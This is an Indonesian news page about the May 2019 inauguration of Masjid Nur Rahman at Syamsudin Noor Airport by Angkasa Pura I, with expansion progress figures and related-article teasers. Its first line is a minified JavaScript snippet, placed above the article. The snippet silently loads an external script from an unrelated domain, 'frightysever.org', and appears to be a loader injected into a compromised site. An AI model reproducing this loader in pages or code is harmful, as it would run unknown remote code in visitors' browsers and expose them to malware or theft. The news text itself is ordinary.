(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Direktur Utama PT Angkasa Pura I (Persero) Faik Fahmi meresmikan masjid baru di lingkungan Bandara Syamsudin Noor Banjarmasin, Senin (26/5) sore. Masjid megah dua lantai yang diberi nama Masjid Nur Rahman ini memiliki luas sekitar 1800 meter persegi dan dapat menampung 1.200 jamaah.
“Kehadiran Masjid Nur Rahman ini merupakan komitmen Angkasa Pura I dalam mendukung kegiatan ibadah pengguna jasa, komunitas bandara, serta masyarakat sekitar bandara Masjid yang diresmikan dalam bulan Ramadan menjelang hari raya Idul Fitri ini sekaligus juga merupakan salah satu upaya peningkatan pelayanan kepada pengguna jasa bandara menjelang arus mudik tahun ini,” kata Direktur Utama PT Angkasa Pura I (Persero) Faik Fahmi.
Peresmian Masjid Nur Rahman di lingkungan Bandara Syamsudin Noor ini merupakan peresmian masjid ketiga di bandara-bandara yang memang tengah dikembangkan oleh Angkasa Pura I.
Direktur Utama PT Angkasa Pura I mengungkapkan seluruh Bandara yang tersebar di Indonesia diwajibkam memiliki masjid dan Masjid Nur Rahman digadang-gadang menjadi salah satu masjid di Bandara yang menjadi kebangggan tidak kalah dengan bandara lain. “Sebelumnya pada April 2019 lalu, Masjid Baitussalam di Bandara Jenderal Ahmad Yani Semarang dan Masjid Al Akbar di Bandara internasional Yogyakarta Kulon Progo juga telah diresmikan. Kini, Bandara Syamsudin Noor memiliki masjid yang megah tidak kalah dengan bandara lain,” ujarnya.
Dalam kegiatan peresmian masjid ini, juga turut dirangkai dengan acara santunan kepada 1.000 anak yatim dan penandatanganan prasasti peresmian. Perlu diketahui, Masjid Nur Rahman ini merupakan bagian dari proyek pengembangan Bandara Syamsudin Noor. Ditargetkan, rampungnya proyek pengembangan Bandara ini, pada bulan Oktober depan.
Kendati demikian, Faik Fahmi mengatakan masih harus menunggu terkait status Bandara Internasional. Namun dirinya yakin Bandara kebanggaan masyarakat Kalsel ini akan siap menyandang gelar internasional tersebut. “Bandara ini akan sangat siap Internasional, namun ada proses dan kita tunggu. Saat ini beberapa bangunan sudah terlihat bentuknya. Kita harapkan semuanya sesuai target,” pungkasnya.
Sementara itu Pimpinan Proyek (Pimpro) Pengembangan Bandara Syamsudin Noor, Dadang Dian, ada dua paket pekerjaan pada proyek pengembangan Bandara Syamsudin Noor ini, yaitu Paketl berupa pembangunan gedung terminal baru dan Paket II berupa pembangunan gedung penunjang dan apron. Bangunan Masjid Nur Rahman temasuk pada pekerjaan Paket Il ini.
“Hingga 12 Mei 2019, progres pengembangan Bandara Syamsudin Noor sudah mencapai 73,31 persen, yang rinciannya paket I telah mencapai 65,27 persen dan paket II sudah 84,98 persen,” tandasnya. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.